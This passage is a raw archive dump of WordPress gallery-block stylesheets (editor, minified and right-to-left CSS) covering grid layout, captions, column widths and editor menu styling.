#fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset; content: ""; outline: 2px solid transparent; position: absolute; top: 0; left: 0; bottom: 0; right: 0; z-index: 1; pointer-events: none; } .blocks-gallery-item figure.is-transient img { opacity: 0.3; } .blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu { display: inline-flex; } .blocks-gallery-item .block-editor-media-placeholder { margin: 0; height: 100%; } .blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label { display: flex; } .block-library-gallery-item__inline-menu { display: none; position: absolute; top: -2px; margin: 8px; z-index: 20; transition: box-shadow 0.2s ease-out; border-radius: 2px; background: #fff; border: 1px solid #1e1e1e; } @media (prefers-reduced-motion: reduce) { .block-library-gallery-item__inline-menu { transition-duration: 0s; transition-delay: 0s; } } .block-library-gallery-item__inline-menu:hover { box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05); } @media (min-width: 600px) { .columns-7 .block-library-gallery-item__inline-menu, .columns-8 .block-library-gallery-item__inline-menu { padding: 2px; } } .block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus) { border: none; box-shadow: none; } @media (min-width: 600px) { .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon, .columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon { padding: 0; width: inherit; height: inherit; } } .block-library-gallery-item__inline-menu.is-left { right: -2px; } .block-library-gallery-item__inline-menu.is-right { left: -2px; } .wp-block-gallery ul.blocks-gallery-grid { padding: 0; margin: 0; } @media (min-width: 600px) { .wp-block-update-gallery-modal { max-width: 480px; } } .wp-block-update-gallery-modal-buttons { display: flex; justify-content: flex-end; gap: 12px; }blocks/gallery/style.min.css000064400000032730147177035020012127 0ustar00.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;padding:0;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{margin:0 1em 1em 0;display:flex;flex-grow:1;flex-direction:column;justify-content:center;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-right:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{margin:0;height:100%;display:flex;align-items:flex-end;justify-content:flex-start}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;max-width:100%;height:auto;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{position:absolute;bottom:0;width:100%;max-height:100%;overflow:auto;padding:3em .77em .7em;color:#fff;text-align:center;font-size:.8em;background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);box-sizing:border-box;margin:0;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{width:100%;height:100%;flex:1;-o-object-fit:cover;object-fit:cover}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{width:100%;margin-right:0}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{width:calc(33.33333% - .66667em);margin-right:1em}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{width:calc(25% - .75em);margin-right:1em}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{width:calc(20% - .8em);margin-right:1em}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{width:calc(16.66667% - .83333em);margin-right:1em}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{width:calc(14.28571% - .85714em);margin-right:1em}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{width:calc(12.5% - .875em);margin-right:1em}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-right:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-right:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2);margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image{display:flex;flex-grow:1;justify-content:center;position:relative;flex-direction:column;max-width:100%}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{margin:0;flex-direction:column;flex-grow:1}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,rgba(0,0,0,.7),rgba(0,0,0,.3) 70%,transparent);bottom:0;color:#fff;font-size:13px;left:0;margin-bottom:0;max-height:60%;overflow:auto;padding:0 8px 8px;position:absolute;text-align:center;width:100%;box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{flex:initial;background:none;color:inherit;margin:0;padding:10px 10px 9px;position:relative}.wp-block-gallery.has-nested-images figcaption{flex-grow:1;flex-basis:100%;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-top:0;margin-bottom:auto}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{width:100%;flex:1 0 0%;height:100%;-o-object-fit:cover;object-fit:cover}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*0.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*0.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*0.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*0.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*0.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*0.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*0.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*0.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}blocks/gallery/editor.css000064400000012513147177035020011470 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ figure.wp-block-gallery { display: block; } figure.wp-block-gallery.has-nested-images .components-drop-zone { display: none; pointer-events: none; } figure.wp-block-gallery > .blocks-gallery-caption { flex: 0 0 100%; } figure.wp-block-gallery > .blocks-gallery-media-placeholder-wrapper { flex-basis: 100%; } figure.wp-block-gallery .wp-block-image .components-notice.is-error { display: block; } figure.wp-block-gallery .wp-block-image .components-notice__content { margin: 4px 0; } figure.wp-block-gallery .wp-block-image .components-notice__dismiss { position: absolute; top: 0; right: 5px; } figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label { display: none; } figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button { margin-bottom: 0; } figure.wp-block-gallery .block-editor-media-placeholder { margin: 0; } figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label { display: flex; } figure.wp-block-gallery .block-editor-media-placeholder figcaption { z-index: 2; } figure.wp-block-gallery .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } /** * Gallery inspector controls settings. */ .gallery-settings-buttons .components-button:first-child { margin-right: 8px; } .gallery-image-sizes .components-base-control__label { display: block; margin-bottom: 4px; } .gallery-image-sizes .gallery-image-sizes__loading { display: flex; align-items: center; color: #757575; font-size: 12px; } .gallery-image-sizes .components-spinner { margin: 0 8px 0 4px; } /** * Deprecated css past this point. This can be removed once all galleries are migrated * to V2. */ .blocks-gallery-item figure:not(.is-selected):focus, .blocks-gallery-item img:focus { outline: none; } .blocks-gallery-item figure.is-selected::before { box-shadow: 0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset; content: ""; outline: 2px solid transparent; position: absolute; top: 0; right: 0; bottom: 0; left: 0; z-index: 1; pointer-events: none; } .blocks-gallery-item figure.is-transient img { opacity: 0.3; } .blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu { display: inline-flex; } .blocks-gallery-item .block-editor-media-placeholder { margin: 0; height: 100%; } .blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label { display: flex; } .block-library-gallery-item__inline-menu { display: none; position: absolute; top: -2px; margin: 8px; z-index: 20; transition: box-shadow 0.2s ease-out; border-radius: 2px; background: #fff; border: 1px solid #1e1e1e; } @media (prefers-reduced-motion: reduce) { .block-library-gallery-item__inline-menu { transition-duration: 0s; transition-delay: 0s; } } .block-library-gallery-item__inline-menu:hover { box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05); } @media (min-width: 600px) { .columns-7 .block-library-gallery-item__inline-menu, .columns-8 .block-library-gallery-item__inline-menu { padding: 2px; } } .block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus) { border: none; box-shadow: none; } @media (min-width: 600px) { .columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon, .columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon { padding: 0; width: inherit; height: inherit; } } .block-library-gallery-item__inline-menu.is-left { left: -2px; } .block-library-gallery-item__inline-menu.is-right { right: -2px; } .wp-block-gallery ul.blocks-gallery-grid { padding: 0; margin: 0; } @media (min-width: 600px) { .wp-block-update-gallery-modal { max-width: 480px; } } .wp-block-update-gallery-modal-buttons { display: flex; justify-content: flex-end; gap: 12px; }blocks/gallery/style-rtl.css000064400000040174147177035020012145 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-gallery:not(.has-nested-images), .blocks-gallery-grid:not(.has-nested-images) { display: flex; flex-wrap: wrap; list-style-type: none; padding: 0; margin: 0; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item { margin: 0 0 1em 1em; display: flex; flex-grow: 1; flex-direction: column; justify-content: center; position: relative; width: calc(50% - 1em); } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even), .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even), .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even), .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure { margin: 0; height: 100%; display: flex; align-items: flex-end; justify-content: flex-start; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img { display: block; max-width: 100%; height: auto; width: auto; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption { position: absolute; bottom: 0; width: 100%; max-height: 100%; overflow: auto; padding: 3em 0.77em 0.7em; color: #fff; text-align: center; font-size: 0.8em; background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent); box-sizing: border-box; margin: 0; z-index: 2; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img { display: inline; } .wp-block-gallery:not(.has-nested-images) figcaption, .blocks-gallery-grid:not(.has-nested-images) figcaption { flex-grow: 1; } .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img { width: 100%; height: 100%; flex: 1; -o-object-fit: cover; object-fit: cover; } .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item { width: 100%; margin-left: 0; } @media (min-width: 600px) { .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item { width: calc(33.3333333333% - 0.6666666667em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item { width: calc(25% - 0.75em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item { width: calc(20% - 0.8em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item { width: calc(16.6666666667% - 0.8333333333em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item { width: calc(14.2857142857% - 0.8571428571em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item { width: calc(12.5% - 0.875em); margin-left: 1em; } .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n), .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n), .blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n), .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n), .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n), .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n), .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n), .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n), .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n) { margin-left: 0; } } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).alignleft, .wp-block-gallery:not(.has-nested-images).alignright, .blocks-gallery-grid:not(.has-nested-images).alignleft, .blocks-gallery-grid:not(.has-nested-images).alignright { max-width: 420px; width: 100%; } 